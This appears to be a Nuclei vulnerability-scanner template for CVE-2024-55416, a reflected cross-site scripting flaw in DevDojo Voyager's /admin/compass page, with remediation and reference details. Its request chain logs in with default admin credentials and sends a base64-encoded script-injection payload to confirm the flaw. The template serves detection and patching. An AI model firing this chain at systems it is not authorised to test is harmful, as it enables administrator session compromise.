id: CVE-2024-55416 info: name: DevDojo Voyager <=1.8.0 - Cross-Site Scripting author: iamnoooob,rootxharsh,pdresearch severity: low description: | DevDojo Voyager through version 1.8.0 is vulnerable to reflected XSS via /admin/compass. By manipulating an authenticated user to click on a link, arbitrary Javascript can be executed. impact: | Authenticated attackers can craft malicious links that execute arbitrary JavaScript in the context of an administrator's session when clicked, potentially leading to account compromise or privilege escalation. remediation: | Update DevDojo Voyager to version 1.8.1 or later to address the reflected XSS vulnerability. reference: - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/ - https://github.com/thedevdojo/voyager/blob/1.6/resources/views/master.blade.php#L132 - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44 - https://nvd.nist.gov/vuln/detail/CVE-2024-55416 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N cve-id: CVE-2024-55416 epss-score: 0.0128 epss-percentile: 0.80068 metadata: verified: true max-request: 4 shodan-query: title:"Voyager" tags: cve,cve2024,devdojo,xss,authenticated,vuln variables: username: "admin@admin.com" password: "password" http: - raw: - | GET /admin/login HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body internal: true name: csrf group: 1 regex: - 'name="_token" value="([a-zA-Z0-9]+)"' - raw: - | POST /admin/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _token={{csrf}}&email={{username}}&password={{password}}& matchers: - type: dsl dsl: - "contains(body,'/admin')" - "status_code == 302" condition: and internal: true - raw: - | GET /admin/compass?del=PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPi5sb2c= HTTP/1.1 Host: {{Hostname}} redirects: false matchers: - type: dsl dsl: - "contains(location,'/admin/compass')" - "status_code == 302" condition: and internal: true - raw: - | GET /admin/compass?logs=true HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - "contains(body,'Successfully deleted log file: .log')" - "status_code == 200" condition: and # digest: 490a004630440220230efd7295f22ca078217c06d0adcbf30b44d84fc4fd46db9a97fb840cbfc38802204fbdce9a77f6bc0177658a69d45886fba60e6a434971870cbf6b5cdf120d80d3:922c64590222798bb761d5b6d8e72950